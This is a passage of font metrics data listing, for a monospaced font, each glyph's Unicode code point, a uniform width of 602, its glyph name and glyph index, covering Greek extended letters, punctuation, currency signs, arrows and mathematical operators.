U 8017 ; WX 602 ; N uni1F51 ; G 1648
U 8018 ; WX 602 ; N uni1F52 ; G 1649
U 8019 ; WX 602 ; N uni1F53 ; G 1650
U 8020 ; WX 602 ; N uni1F54 ; G 1651
U 8021 ; WX 602 ; N uni1F55 ; G 1652
U 8022 ; WX 602 ; N uni1F56 ; G 1653
U 8023 ; WX 602 ; N uni1F57 ; G 1654
U 8025 ; WX 602 ; N uni1F59 ; G 1655
U 8027 ; WX 602 ; N uni1F5B ; G 1656
U 8029 ; WX 602 ; N uni1F5D ; G 1657
U 8031 ; WX 602 ; N uni1F5F ; G 1658
U 8032 ; WX 602 ; N uni1F60 ; G 1659
U 8033 ; WX 602 ; N uni1F61 ; G 1660
U 8034 ; WX 602 ; N uni1F62 ; G 1661
U 8035 ; WX 602 ; N uni1F63 ; G 1662
U 8036 ; WX 602 ; N uni1F64 ; G 1663
U 8037 ; WX 602 ; N uni1F65 ; G 1664
U 8038 ; WX 602 ; N uni1F66 ; G 1665
U 8039 ; WX 602 ; N uni1F67 ; G 1666
U 8040 ; WX 602 ; N uni1F68 ; G 1667
U 8041 ; WX 602 ; N uni1F69 ; G 1668
U 8042 ; WX 602 ; N uni1F6A ; G 1669
U 8043 ; WX 602 ; N uni1F6B ; G 1670
U 8044 ; WX 602 ; N uni1F6C ; G 1671
U 8045 ; WX 602 ; N uni1F6D ; G 1672
U 8046 ; WX 602 ; N uni1F6E ; G 1673
U 8047 ; WX 602 ; N uni1F6F ; G 1674
U 8048 ; WX 602 ; N uni1F70 ; G 1675
U 8049 ; WX 602 ; N uni1F71 ; G 1676
U 8050 ; WX 602 ; N uni1F72 ; G 1677
U 8051 ; WX 602 ; N uni1F73 ; G 1678
U 8052 ; WX 602 ; N uni1F74 ; G 1679
U 8053 ; WX 602 ; N uni1F75 ; G 1680
U 8054 ; WX 602 ; N uni1F76 ; G 1681
U 8055 ; WX 602 ; N uni1F77 ; G 1682
U 8056 ; WX 602 ; N uni1F78 ; G 1683
U 8057 ; WX 602 ; N uni1F79 ; G 1684
U 8058 ; WX 602 ; N uni1F7A ; G 1685
U 8059 ; WX 602 ; N uni1F7B ; G 1686
U 8060 ; WX 602 ; N uni1F7C ; G 1687
U 8061 ; WX 602 ; N uni1F7D ; G 1688
U 8064 ; WX 602 ; N uni1F80 ; G 1689
U 8065 ; WX 602 ; N uni1F81 ; G 1690
U 8066 ; WX 602 ; N uni1F82 ; G 1691
U 8067 ; WX 602 ; N uni1F83 ; G 1692
U 8068 ; WX 602 ; N uni1F84 ; G 1693
U 8069 ; WX 602 ; N uni1F85 ; G 1694
U 8070 ; WX 602 ; N uni1F86 ; G 1695
U 8071 ; WX 602 ; N uni1F87 ; G 1696
U 8072 ; WX 602 ; N uni1F88 ; G 1697
U 8073 ; WX 602 ; N uni1F89 ; G 1698
U 8074 ; WX 602 ; N uni1F8A ; G 1699
U 8075 ; WX 602 ; N uni1F8B ; G 1700
U 8076 ; WX 602 ; N uni1F8C ; G 1701
U 8077 ; WX 602 ; N uni1F8D ; G 1702
U 8078 ; WX 602 ; N uni1F8E ; G 1703
U 8079 ; WX 602 ; N uni1F8F ; G 1704
U 8080 ; WX 602 ; N uni1F90 ; G 1705
U 8081 ; WX 602 ; N uni1F91 ; G 1706
U 8082 ; WX 602 ; N uni1F92 ; G 1707
U 8083 ; WX 602 ; N uni1F93 ; G 1708
U 8084 ; WX 602 ; N uni1F94 ; G 1709
U 8085 ; WX 602 ; N uni1F95 ; G 1710
U 8086 ; WX 602 ; N uni1F96 ; G 1711
U 8087 ; WX 602 ; N uni1F97 ; G 1712
U 8088 ; WX 602 ; N uni1F98 ; G 1713
U 8089 ; WX 602 ; N uni1F99 ; G 1714
U 8090 ; WX 602 ; N uni1F9A ; G 1715
U 8091 ; WX 602 ; N uni1F9B ; G 1716
U 8092 ; WX 602 ; N uni1F9C ; G 1717
U 8093 ; WX 602 ; N uni1F9D ; G 1718
U 8094 ; WX 602 ; N uni1F9E ; G 1719
U 8095 ; WX 602 ; N uni1F9F ; G 1720
U 8096 ; WX 602 ; N uni1FA0 ; G 1721
U 8097 ; WX 602 ; N uni1FA1 ; G 1722
U 8098 ; WX 602 ; N uni1FA2 ; G 1723
U 8099 ; WX 602 ; N uni1FA3 ; G 1724
U 8100 ; WX 602 ; N uni1FA4 ; G 1725
U 8101 ; WX 602 ; N uni1FA5 ; G 1726
U 8102 ; WX 602 ; N uni1FA6 ; G 1727
U 8103 ; WX 602 ; N uni1FA7 ; G 1728
U 8104 ; WX 602 ; N uni1FA8 ; G 1729
U 8105 ; WX 602 ; N uni1FA9 ; G 1730
U 8106 ; WX 602 ; N uni1FAA ; G 1731
U 8107 ; WX 602 ; N uni1FAB ; G 1732
U 8108 ; WX 602 ; N uni1FAC ; G 1733
U 8109 ; WX 602 ; N uni1FAD ; G 1734
U 8110 ; WX 602 ; N uni1FAE ; G 1735
U 8111 ; WX 602 ; N uni1FAF ; G 1736
U 8112 ; WX 602 ; N uni1FB0 ; G 1737
U 8113 ; WX 602 ; N uni1FB1 ; G 1738
U 8114 ; WX 602 ; N uni1FB2 ; G 1739
U 8115 ; WX 602 ; N uni1FB3 ; G 1740
U 8116 ; WX 602 ; N uni1FB4 ; G 1741
U 8118 ; WX 602 ; N uni1FB6 ; G 1742
U 8119 ; WX 602 ; N uni1FB7 ; G 1743
U 8120 ; WX 602 ; N uni1FB8 ; G 1744
U 8121 ; WX 602 ; N uni1FB9 ; G 1745
U 8122 ; WX 602 ; N uni1FBA ; G 1746
U 8123 ; WX 602 ; N uni1FBB ; G 1747
U 8124 ; WX 602 ; N uni1FBC ; G 1748
U 8125 ; WX 602 ; N uni1FBD ; G 1749
U 8126 ; WX 602 ; N uni1FBE ; G 1750
U 8127 ; WX 602 ; N uni1FBF ; G 1751
U 8128 ; WX 602 ; N uni1FC0 ; G 1752
U 8129 ; WX 602 ; N uni1FC1 ; G 1753
U 8130 ; WX 602 ; N uni1FC2 ; G 1754
U 8131 ; WX 602 ; N uni1FC3 ; G 1755
U 8132 ; WX 602 ; N uni1FC4 ; G 1756
U 8134 ; WX 602 ; N uni1FC6 ; G 1757
U 8135 ; WX 602 ; N uni1FC7 ; G 1758
U 8136 ; WX 602 ; N uni1FC8 ; G 1759
U 8137 ; WX 602 ; N uni1FC9 ; G 1760
U 8138 ; WX 602 ; N uni1FCA ; G 1761
U 8139 ; WX 602 ; N uni1FCB ; G 1762
U 8140 ; WX 602 ; N uni1FCC ; G 1763
U 8141 ; WX 602 ; N uni1FCD ; G 1764
U 8142 ; WX 602 ; N uni1FCE ; G 1765
U 8143 ; WX 602 ; N uni1FCF ; G 1766
U 8144 ; WX 602 ; N uni1FD0 ; G 1767
U 8145 ; WX 602 ; N uni1FD1 ; G 1768
U 8146 ; WX 602 ; N uni1FD2 ; G 1769
U 8147 ; WX 602 ; N uni1FD3 ; G 1770
U 8150 ; WX 602 ; N uni1FD6 ; G 1771
U 8151 ; WX 602 ; N uni1FD7 ; G 1772
U 8152 ; WX 602 ; N uni1FD8 ; G 1773
U 8153 ; WX 602 ; N uni1FD9 ; G 1774
U 8154 ; WX 602 ; N uni1FDA ; G 1775
U 8155 ; WX 602 ; N uni1FDB ; G 1776
U 8157 ; WX 602 ; N uni1FDD ; G 1777
U 8158 ; WX 602 ; N uni1FDE ; G 1778
U 8159 ; WX 602 ; N uni1FDF ; G 1779
U 8160 ; WX 602 ; N uni1FE0 ; G 1780
U 8161 ; WX 602 ; N uni1FE1 ; G 1781
U 8162 ; WX 602 ; N uni1FE2 ; G 1782
U 8163 ; WX 602 ; N uni1FE3 ; G 1783
U 8164 ; WX 602 ; N uni1FE4 ; G 1784
U 8165 ; WX 602 ; N uni1FE5 ; G 1785
U 8166 ; WX 602 ; N uni1FE6 ; G 1786
U 8167 ; WX 602 ; N uni1FE7 ; G 1787
U 8168 ; WX 602 ; N uni1FE8 ; G 1788
U 8169 ; WX 602 ; N uni1FE9 ; G 1789
U 8170 ; WX 602 ; N uni1FEA ; G 1790
U 8171 ; WX 602 ; N uni1FEB ; G 1791
U 8172 ; WX 602 ; N uni1FEC ; G 1792
U 8173 ; WX 602 ; N uni1FED ; G 1793
U 8174 ; WX 602 ; N uni1FEE ; G 1794
U 8175 ; WX 602 ; N uni1FEF ; G 1795
U 8178 ; WX 602 ; N uni1FF2 ; G 1796
U 8179 ; WX 602 ; N uni1FF3 ; G 1797
U 8180 ; WX 602 ; N uni1FF4 ; G 1798
U 8182 ; WX 602 ; N uni1FF6 ; G 1799
U 8183 ; WX 602 ; N uni1FF7 ; G 1800
U 8184 ; WX 602 ; N uni1FF8 ; G 1801
U 8185 ; WX 602 ; N uni1FF9 ; G 1802
U 8186 ; WX 602 ; N uni1FFA ; G 1803
U 8187 ; WX 602 ; N uni1FFB ; G 1804
U 8188 ; WX 602 ; N uni1FFC ; G 1805
U 8189 ; WX 602 ; N uni1FFD ; G 1806
U 8190 ; WX 602 ; N uni1FFE ; G 1807
U 8192 ; WX 602 ; N uni2000 ; G 1808
U 8193 ; WX 602 ; N uni2001 ; G 1809
U 8194 ; WX 602 ; N uni2002 ; G 1810
U 8195 ; WX 602 ; N uni2003 ; G 1811
U 8196 ; WX 602 ; N uni2004 ; G 1812
U 8197 ; WX 602 ; N uni2005 ; G 1813
U 8198 ; WX 602 ; N uni2006 ; G 1814
U 8199 ; WX 602 ; N uni2007 ; G 1815
U 8200 ; WX 602 ; N uni2008 ; G 1816
U 8201 ; WX 602 ; N uni2009 ; G 1817
U 8202 ; WX 602 ; N uni200A ; G 1818
U 8208 ; WX 602 ; N uni2010 ; G 1819
U 8209 ; WX 602 ; N uni2011 ; G 1820
U 8210 ; WX 602 ; N figuredash ; G 1821
U 8211 ; WX 602 ; N endash ; G 1822
U 8212 ; WX 602 ; N emdash ; G 1823
U 8213 ; WX 602 ; N uni2015 ; G 1824
U 8214 ; WX 602 ; N uni2016 ; G 1825
U 8215 ; WX 602 ; N underscoredbl ; G 1826
U 8216 ; WX 602 ; N quoteleft ; G 1827
U 8217 ; WX 602 ; N quoteright ; G 1828
U 8218 ; WX 602 ; N quotesinglbase ; G 1829
U 8219 ; WX 602 ; N quotereversed ; G 1830
U 8220 ; WX 602 ; N quotedblleft ; G 1831
U 8221 ; WX 602 ; N quotedblright ; G 1832
U 8222 ; WX 602 ; N quotedblbase ; G 1833
U 8223 ; WX 602 ; N uni201F ; G 1834
U 8224 ; WX 602 ; N dagger ; G 1835
U 8225 ; WX 602 ; N daggerdbl ; G 1836
U 8226 ; WX 602 ; N bullet ; G 1837
U 8227 ; WX 602 ; N uni2023 ; G 1838
U 8230 ; WX 602 ; N ellipsis ; G 1839
U 8239 ; WX 602 ; N uni202F ; G 1840
U 8240 ; WX 602 ; N perthousand ; G 1841
U 8241 ; WX 602 ; N uni2031 ; G 1842
U 8242 ; WX 602 ; N minute ; G 1843
U 8243 ; WX 602 ; N second ; G 1844
U 8244 ; WX 602 ; N uni2034 ; G 1845
U 8245 ; WX 602 ; N uni2035 ; G 1846
U 8246 ; WX 602 ; N uni2036 ; G 1847
U 8247 ; WX 602 ; N uni2037 ; G 1848
U 8249 ; WX 602 ; N guilsinglleft ; G 1849
U 8250 ; WX 602 ; N guilsinglright ; G 1850
U 8252 ; WX 602 ; N exclamdbl ; G 1851
U 8253 ; WX 602 ; N uni203D ; G 1852
U 8254 ; WX 602 ; N uni203E ; G 1853
U 8255 ; WX 602 ; N uni203F ; G 1854
U 8261 ; WX 602 ; N uni2045 ; G 1855
U 8262 ; WX 602 ; N uni2046 ; G 1856
U 8263 ; WX 602 ; N uni2047 ; G 1857
U 8264 ; WX 602 ; N uni2048 ; G 1858
U 8265 ; WX 602 ; N uni2049 ; G 1859
U 8267 ; WX 602 ; N uni204B ; G 1860
U 8287 ; WX 602 ; N uni205F ; G 1861
U 8304 ; WX 602 ; N uni2070 ; G 1862
U 8305 ; WX 602 ; N uni2071 ; G 1863
U 8308 ; WX 602 ; N uni2074 ; G 1864
U 8309 ; WX 602 ; N uni2075 ; G 1865
U 8310 ; WX 602 ; N uni2076 ; G 1866
U 8311 ; WX 602 ; N uni2077 ; G 1867
U 8312 ; WX 602 ; N uni2078 ; G 1868
U 8313 ; WX 602 ; N uni2079 ; G 1869
U 8314 ; WX 602 ; N uni207A ; G 1870
U 8315 ; WX 602 ; N uni207B ; G 1871
U 8316 ; WX 602 ; N uni207C ; G 1872
U 8317 ; WX 602 ; N uni207D ; G 1873
U 8318 ; WX 602 ; N uni207E ; G 1874
U 8319 ; WX 602 ; N uni207F ; G 1875
U 8320 ; WX 602 ; N uni2080 ; G 1876
U 8321 ; WX 602 ; N uni2081 ; G 1877
U 8322 ; WX 602 ; N uni2082 ; G 1878
U 8323 ; WX 602 ; N uni2083 ; G 1879
U 8324 ; WX 602 ; N uni2084 ; G 1880
U 8325 ; WX 602 ; N uni2085 ; G 1881
U 8326 ; WX 602 ; N uni2086 ; G 1882
U 8327 ; WX 602 ; N uni2087 ; G 1883
U 8328 ; WX 602 ; N uni2088 ; G 1884
U 8329 ; WX 602 ; N uni2089 ; G 1885
U 8330 ; WX 602 ; N uni208A ; G 1886
U 8331 ; WX 602 ; N uni208B ; G 1887
U 8332 ; WX 602 ; N uni208C ; G 1888
U 8333 ; WX 602 ; N uni208D ; G 1889
U 8334 ; WX 602 ; N uni208E ; G 1890
U 8336 ; WX 602 ; N uni2090 ; G 1891
U 8337 ; WX 602 ; N uni2091 ; G 1892
U 8338 ; WX 602 ; N uni2092 ; G 1893
U 8339 ; WX 602 ; N uni2093 ; G 1894
U 8340 ; WX 602 ; N uni2094 ; G 1895
U 8341 ; WX 602 ; N uni2095 ; G 1896
U 8342 ; WX 602 ; N uni2096 ; G 1897
U 8343 ; WX 602 ; N uni2097 ; G 1898
U 8344 ; WX 602 ; N uni2098 ; G 1899
U 8345 ; WX 602 ; N uni2099 ; G 1900
U 8346 ; WX 602 ; N uni209A ; G 1901
U 8347 ; WX 602 ; N uni209B ; G 1902
U 8348 ; WX 602 ; N uni209C ; G 1903
U 8352 ; WX 602 ; N uni20A0 ; G 1904
U 8353 ; WX 602 ; N colonmonetary ; G 1905
U 8354 ; WX 602 ; N uni20A2 ; G 1906
U 8355 ; WX 602 ; N franc ; G 1907
U 8356 ; WX 602 ; N lira ; G 1908
U 8357 ; WX 602 ; N uni20A5 ; G 1909
U 8358 ; WX 602 ; N uni20A6 ; G 1910
U 8359 ; WX 602 ; N peseta ; G 1911
U 8360 ; WX 602 ; N uni20A8 ; G 1912
U 8361 ; WX 602 ; N uni20A9 ; G 1913
U 8362 ; WX 602 ; N uni20AA ; G 1914
U 8363 ; WX 602 ; N dong ; G 1915
U 8364 ; WX 602 ; N Euro ; G 1916
U 8365 ; WX 602 ; N uni20AD ; G 1917
U 8366 ; WX 602 ; N uni20AE ; G 1918
U 8367 ; WX 602 ; N uni20AF ; G 1919
U 8368 ; WX 602 ; N uni20B0 ; G 1920
U 8369 ; WX 602 ; N uni20B1 ; G 1921
U 8370 ; WX 602 ; N uni20B2 ; G 1922
U 8371 ; WX 602 ; N uni20B3 ; G 1923
U 8372 ; WX 602 ; N uni20B4 ; G 1924
U 8373 ; WX 602 ; N uni20B5 ; G 1925
U 8376 ; WX 602 ; N uni20B8 ; G 1926
U 8377 ; WX 602 ; N uni20B9 ; G 1927
U 8378 ; WX 602 ; N uni20BA ; G 1928
U 8381 ; WX 602 ; N uni20BD ; G 1929
U 8450 ; WX 602 ; N uni2102 ; G 1930
U 8453 ; WX 602 ; N uni2105 ; G 1931
U 8461 ; WX 602 ; N uni210D ; G 1932
U 8462 ; WX 602 ; N uni210E ; G 1933
U 8463 ; WX 602 ; N uni210F ; G 1934
U 8469 ; WX 602 ; N uni2115 ; G 1935
U 8470 ; WX 602 ; N uni2116 ; G 1936
U 8471 ; WX 602 ; N uni2117 ; G 1937
U 8473 ; WX 602 ; N uni2119 ; G 1938
U 8474 ; WX 602 ; N uni211A ; G 1939
U 8477 ; WX 602 ; N uni211D ; G 1940
U 8482 ; WX 602 ; N trademark ; G 1941
U 8484 ; WX 602 ; N uni2124 ; G 1942
U 8486 ; WX 602 ; N uni2126 ; G 1943
U 8490 ; WX 602 ; N uni212A ; G 1944
U 8491 ; WX 602 ; N uni212B ; G 1945
U 8494 ; WX 602 ; N estimated ; G 1946
U 8520 ; WX 602 ; N uni2148 ; G 1947
U 8528 ; WX 602 ; N uni2150 ; G 1948
U 8529 ; WX 602 ; N uni2151 ; G 1949
U 8531 ; WX 602 ; N onethird ; G 1950
U 8532 ; WX 602 ; N twothirds ; G 1951
U 8533 ; WX 602 ; N uni2155 ; G 1952
U 8534 ; WX 602 ; N uni2156 ; G 1953
U 8535 ; WX 602 ; N uni2157 ; G 1954
U 8536 ; WX 602 ; N uni2158 ; G 1955
U 8537 ; WX 602 ; N uni2159 ; G 1956
U 8538 ; WX 602 ; N uni215A ; G 1957
U 8539 ; WX 602 ; N oneeighth ; G 1958
U 8540 ; WX 602 ; N threeeighths ; G 1959
U 8541 ; WX 602 ; N fiveeighths ; G 1960
U 8542 ; WX 602 ; N seveneighths ; G 1961
U 8543 ; WX 602 ; N uni215F ; G 1962
U 8585 ; WX 602 ; N uni2189 ; G 1963
U 8592 ; WX 602 ; N arrowleft ; G 1964
U 8593 ; WX 602 ; N arrowup ; G 1965
U 8594 ; WX 602 ; N arrowright ; G 1966
U 8595 ; WX 602 ; N arrowdown ; G 1967
U 8596 ; WX 602 ; N arrowboth ; G 1968
U 8597 ; WX 602 ; N arrowupdn ; G 1969
U 8598 ; WX 602 ; N uni2196 ; G 1970
U 8599 ; WX 602 ; N uni2197 ; G 1971
U 8600 ; WX 602 ; N uni2198 ; G 1972
U 8601 ; WX 602 ; N uni2199 ; G 1973
U 8602 ; WX 602 ; N uni219A ; G 1974
U 8603 ; WX 602 ; N uni219B ; G 1975
U 8604 ; WX 602 ; N uni219C ; G 1976
U 8605 ; WX 602 ; N uni219D ; G 1977
U 8606 ; WX 602 ; N uni219E ; G 1978
U 8607 ; WX 602 ; N uni219F ; G 1979
U 8608 ; WX 602 ; N uni21A0 ; G 1980
U 8609 ; WX 602 ; N uni21A1 ; G 1981
U 8610 ; WX 602 ; N uni21A2 ; G 1982
U 8611 ; WX 602 ; N uni21A3 ; G 1983
U 8612 ; WX 602 ; N uni21A4 ; G 1984
U 8613 ; WX 602 ; N uni21A5 ; G 1985
U 8614 ; WX 602 ; N uni21A6 ; G 1986
U 8615 ; WX 602 ; N uni21A7 ; G 1987
U 8616 ; WX 602 ; N arrowupdnbse ; G 1988
U 8617 ; WX 602 ; N uni21A9 ; G 1989
U 8618 ; WX 602 ; N uni21AA ; G 1990
U 8619 ; WX 602 ; N uni21AB ; G 1991
U 8620 ; WX 602 ; N uni21AC ; G 1992
U 8621 ; WX 602 ; N uni21AD ; G 1993
U 8622 ; WX 602 ; N uni21AE ; G 1994
U 8623 ; WX 602 ; N uni21AF ; G 1995
U 8624 ; WX 602 ; N uni21B0 ; G 1996
U 8625 ; WX 602 ; N uni21B1 ; G 1997
U 8626 ; WX 602 ; N uni21B2 ; G 1998
U 8627 ; WX 602 ; N uni21B3 ; G 1999
U 8628 ; WX 602 ; N uni21B4 ; G 2000
U 8629 ; WX 602 ; N carriagereturn ; G 2001
U 8630 ; WX 602 ; N uni21B6 ; G 2002
U 8631 ; WX 602 ; N uni21B7 ; G 2003
U 8632 ; WX 602 ; N uni21B8 ; G 2004
U 8633 ; WX 602 ; N uni21B9 ; G 2005
U 8634 ; WX 602 ; N uni21BA ; G 2006
U 8635 ; WX 602 ; N uni21BB ; G 2007
U 8636 ; WX 602 ; N uni21BC ; G 2008
U 8637 ; WX 602 ; N uni21BD ; G 2009
U 8638 ; WX 602 ; N uni21BE ; G 2010
U 8639 ; WX 602 ; N uni21BF ; G 2011
U 8640 ; WX 602 ; N uni21C0 ; G 2012
U 8641 ; WX 602 ; N uni21C1 ; G 2013
U 8642 ; WX 602 ; N uni21C2 ; G 2014
U 8643 ; WX 602 ; N uni21C3 ; G 2015
U 8644 ; WX 602 ; N uni21C4 ; G 2016
U 8645 ; WX 602 ; N uni21C5 ; G 2017
U 8646 ; WX 602 ; N uni21C6 ; G 2018
U 8647 ; WX 602 ; N uni21C7 ; G 2019
U 8648 ; WX 602 ; N uni21C8 ; G 2020
U 8649 ; WX 602 ; N uni21C9 ; G 2021
U 8650 ; WX 602 ; N uni21CA ; G 2022
U 8651 ; WX 602 ; N uni21CB ; G 2023
U 8652 ; WX 602 ; N uni21CC ; G 2024
U 8653 ; WX 602 ; N uni21CD ; G 2025
U 8654 ; WX 602 ; N uni21CE ; G 2026
U 8655 ; WX 602 ; N uni21CF ; G 2027
U 8656 ; WX 602 ; N arrowdblleft ; G 2028
U 8657 ; WX 602 ; N arrowdblup ; G 2029
U 8658 ; WX 602 ; N arrowdblright ; G 2030
U 8659 ; WX 602 ; N arrowdbldown ; G 2031
U 8660 ; WX 602 ; N arrowdblboth ; G 2032
U 8661 ; WX 602 ; N uni21D5 ; G 2033
U 8662 ; WX 602 ; N uni21D6 ; G 2034
U 8663 ; WX 602 ; N uni21D7 ; G 2035
U 8664 ; WX 602 ; N uni21D8 ; G 2036
U 8665 ; WX 602 ; N uni21D9 ; G 2037
U 8666 ; WX 602 ; N uni21DA ; G 2038
U 8667 ; WX 602 ; N uni21DB ; G 2039
U 8668 ; WX 602 ; N uni21DC ; G 2040
U 8669 ; WX 602 ; N uni21DD ; G 2041
U 8670 ; WX 602 ; N uni21DE ; G 2042
U 8671 ; WX 602 ; N uni21DF ; G 2043
U 8672 ; WX 602 ; N uni21E0 ; G 2044
U 8673 ; WX 602 ; N uni21E1 ; G 2045
U 8674 ; WX 602 ; N uni21E2 ; G 2046
U 8675 ; WX 602 ; N uni21E3 ; G 2047
U 8676 ; WX 602 ; N uni21E4 ; G 2048
U 8677 ; WX 602 ; N uni21E5 ; G 2049
U 8678 ; WX 602 ; N uni21E6 ; G 2050
U 8679 ; WX 602 ; N uni21E7 ; G 2051
U 8680 ; WX 602 ; N uni21E8 ; G 2052
U 8681 ; WX 602 ; N uni21E9 ; G 2053
U 8682 ; WX 602 ; N uni21EA ; G 2054
U 8683 ; WX 602 ; N uni21EB ; G 2055
U 8684 ; WX 602 ; N uni21EC ; G 2056
U 8685 ; WX 602 ; N uni21ED ; G 2057
U 8686 ; WX 602 ; N uni21EE ; G 2058
U 8687 ; WX 602 ; N uni21EF ; G 2059
U 8688 ; WX 602 ; N uni21F0 ; G 2060
U 8689 ; WX 602 ; N uni21F1 ; G 2061
U 8690 ; WX 602 ; N uni21F2 ; G 2062
U 8691 ; WX 602 ; N uni21F3 ; G 2063
U 8692 ; WX 602 ; N uni21F4 ; G 2064
U 8693 ; WX 602 ; N uni21F5 ; G 2065
U 8694 ; WX 602 ; N uni21F6 ; G 2066
U 8695 ; WX 602 ; N uni21F7 ; G 2067
U 8696 ; WX 602 ; N uni21F8 ; G 2068
U 8697 ; WX 602 ; N uni21F9 ; G 2069
U 8698 ; WX 602 ; N uni21FA ; G 2070
U 8699 ; WX 602 ; N uni21FB ; G 2071
U 8700 ; WX 602 ; N uni21FC ; G 2072
U 8701 ; WX 602 ; N uni21FD ; G 2073
U 8702 ; WX 602 ; N uni21FE ; G 2074
U 8703 ; WX 602 ; N uni21FF ; G 2075
U 8704 ; WX 602 ; N universal ; G 2076
U 8705 ; WX 602 ; N uni2201 ; G 2077
U 8706 ; WX 602 ; N partialdiff ; G 2078
U 8707 ; WX 602 ; N existential ; G 2079
U 8708 ; WX 602 ; N uni2204 ; G 2080
U 8709 ; WX 602 ; N emptyset ; G 2081
U 8710 ; WX 602 ; N increment ; G 2082
U 8711 ; WX 602 ; N gradient ; G 2083
U 8712 ; WX 602 ; N element ; G 2084
U 8713 ; WX 602 ; N notelement ; G 2085
U 8714 ; WX 602 ; N uni220A ; G 2086
U 8715 ; WX 602 ; N suchthat ; G 2087
U 8716 ; WX 602 ; N uni220C ; G 2088
U 8717 ; WX 602 ; N uni220D ; G 2089
U 8718 ; WX 602 ; N uni220E ; G 2090
U 8719 ; WX 602 ; N product ; G 2091
U 8720 ; WX 602 ; N uni2210 ; G 2092
U 8721 ; WX 602 ; N summation ; G 2093
U 8722 ; WX 602 ; N minus ; G 2094
U 8723 ; WX 602 ; N uni2213 ; G 2095
U 8725 ; WX 602 ; N uni2215 ; G 2096
U 8727 ; WX 602 ; N asteriskmath ; G 2097
U 8728 ; WX 602 ; N uni2218 ; G 2098
U 8729 ; WX 602 ; N uni2219 ; G 2099
U 8730 ; WX 602 ; N radical ; G 2100
U 8731 ; WX 602 ; N uni221B ; G 2101
U 8732 ; WX 602 ; N uni221C ; G 2102
U 8733 ; WX 602 ; N proportional ; G 2103
U 8734 ; WX 602 ; N infinity ; G 2104
U 8735 ; WX 602 ; N orthogonal ; G 2105
U 8736 ; WX 602 ; N angle ; G 2106
U 8739 ; WX 602 ; N uni2223 ; G 2107
U 8743 ; WX 602 ; N logicaland ; G 2108
U 8744 ; WX 602 ; N logicalor ; G 2109
U 8745 ; WX 602 ; N intersection ; G 2110
U 8746 ; WX 602 ; N union ; G 2111
U 8747 ; WX 602 ; N integral ; G 2112
U 8748 ; WX 602 ; N uni222C ; G 2113
U 8749 ; WX 602 ; N uni222D ; G 2114
U 8756 ; WX 602 ; N therefore ; G 2115
U 8757 ; WX 602 ; N uni2235 ; G 2116
U 8758 ; WX 602 ; N uni2236 ; G 2117
U 8759 ; WX 602 ; N uni2237 ; G 2118
U 8760 ; WX 602 ; N uni2238 ; G 2119
U 8761 ; WX 602 ; N uni2239 ; G 2120
U 8762 ; WX 602 ; N uni223A ; G 2121
U 8763 ; WX 602 ; N uni223B ; G 2122
U 8764 ; WX 602 ; N similar ; G 2123
U 8765 ; WX 602 ; N uni223D ; G 2124
U 8769 ; WX 602 ; N uni2241 ; G 2125
U 8770 ; WX 602 ; N uni2242 ; G 2126
U 8771 ; WX 602 ; N uni2243 ; G 2127
U 8772 ; WX 602 ; N uni2244 ; G 2128
U 8773 ; WX 602 ; N congruent ; G 2129
U 8774 ; WX 602 ; N uni2246 ; G 2130
U 8775 ; WX 602 ; N uni2247 ; G 2131
U 8776 ; WX 602 ; N approxequal ; G 2132
U 8777 ; WX 602 ; N uni2249 ; G 2133
U 8778 ; WX 602 ; N uni224A ; G 2134
U 8779 ; WX 602 ; N uni224B ; G 2135
U 8780 ; WX 602 ; N uni224C ; G 2136
U 8781 ; WX 602 ; N uni224D ; G 2137
U 8782 ; WX 602 ; N uni224E ; G 2138
U 8783 ; WX 602 ; N uni224F ; G 2139
U 8784 ; WX 602 ; N uni2250 ; G 2140
U 8785 ; WX 602 ; N uni2251 ; G 2141
U 8786 ; WX 602 ; N uni2252 ; G 2142
U 8787 ; WX 602 ; N uni2253 ; G 2143
U 8788 ; WX 602 ; N uni2254 ; G 2144
U 8789 ; WX 602 ; N uni2255 ; G 2145
U 8790 ; WX 602 ; N uni2256 ; G 2146
U 8791 ; WX 602 ; N uni2257 ; G 2147
U 8792 ; WX 602 ; N uni2258 ; G 2148
U 8793 ; WX 602 ; N uni2259 ; G 2149
U 8794 ; WX 602 ; N uni225A ; G 2150
U 8795 ; WX 602 ; N uni225B ; G 2151
U 8796 ; WX 602 ; N uni225C ; G 2152
U 8797 ; WX 602 ; N uni225D ; G 2153
U 8798 ; WX 602 ; N uni225E ; G 2154
U 8799 ; WX 602 ; N uni225F ; G 2155
U 8800 ; WX 602 ; N notequal ; G 2156
U 8801 ; WX 602 ; N equivalence ; G 2157
U 8802 ; WX 602 ; N uni2262 ; G 2158
U 8803 ; WX 602 ; N uni2263 ; G 2159
U 8804 ; WX 602 ; N lessequal ; G 2160
U 8805 ; WX 602 ; N greaterequal ; G 2161
U 8806 ; WX 602 ; N uni2266 ; G 2162
U 8807 ; WX 602 ; N uni2267 ; G 2163
U 8808 ; WX 602 ; N uni2268 ; G 2164
U 8809 ; WX 602 ; N uni2269 ; G 2165
U 8813 ; WX 602 ; N uni226D ; G 2166
U 8814 ; WX 602 ; N uni226E ; G 2167
U 8815 ; WX 602 ; N uni226F ; G 2168
U 8816 ; WX 602 ; N uni2270 ; G 2169
U 8817 ; WX 602 ; N uni2271 ; G 2170
U 8818 ; WX 602 ; N uni2272 ; G 2171
U 8819 ; WX 602 ; N uni2273 ; G 2172
U 8820 ; WX 602 ; N uni2274 ; G 2173
U 8821 ; WX 602 ; N uni2275 ; G 2174
U 8822 ; WX 602 ; N uni2276 ; G 2175
U 8823 ; WX 602 ; N uni2277 ; G 2176
U 8824 ; WX 602 ; N uni2278 ; G 2177
U 8825 ; WX 602 ; N uni2279 ; G 2178
U 8826 ; WX 602 ; N uni227A ; G 2179
U 8827 ; WX 602 ; N uni227B ; G 2180
U 8828 ; WX 602 ; N uni227C ; G 2181
U 8829 ; WX 602 ; N uni227D ; G 2182
U 8830 ; WX 602 ; N uni227E ; G 2183
U 8831 ; WX 602 ; N uni227F ; G 2184
U 8832 ; WX 602 ; N uni2280 ; G 2185
U 8833 ; WX 602 ; N uni2281 ; G 2186
U 8834 ; WX 602 ; N propersubset ; G 2187
U 8835 ; WX 602 ; N propersuperset ; G 2188
U 8836 ; WX 602 ; N notsubset ; G 2189
U 8837 ; WX 602 ; N uni2285 ; G 2190
U 8838 ; WX 602 ; N reflexsubset ; G 2191
U 8839 ; WX 602 ; N reflexsuperset ; G 2192
U 8840 ; WX 602 ; N uni2288 ; G 2193
U 8841 ; WX 602 ; N uni2289 ; G 2194
U 8842 ; WX 602 ; N uni228A ; G 2195
U 8843 ; WX 602 ; N uni228B ; G 2196
U 8845 ; WX 602 ; N uni228D ; G 2197
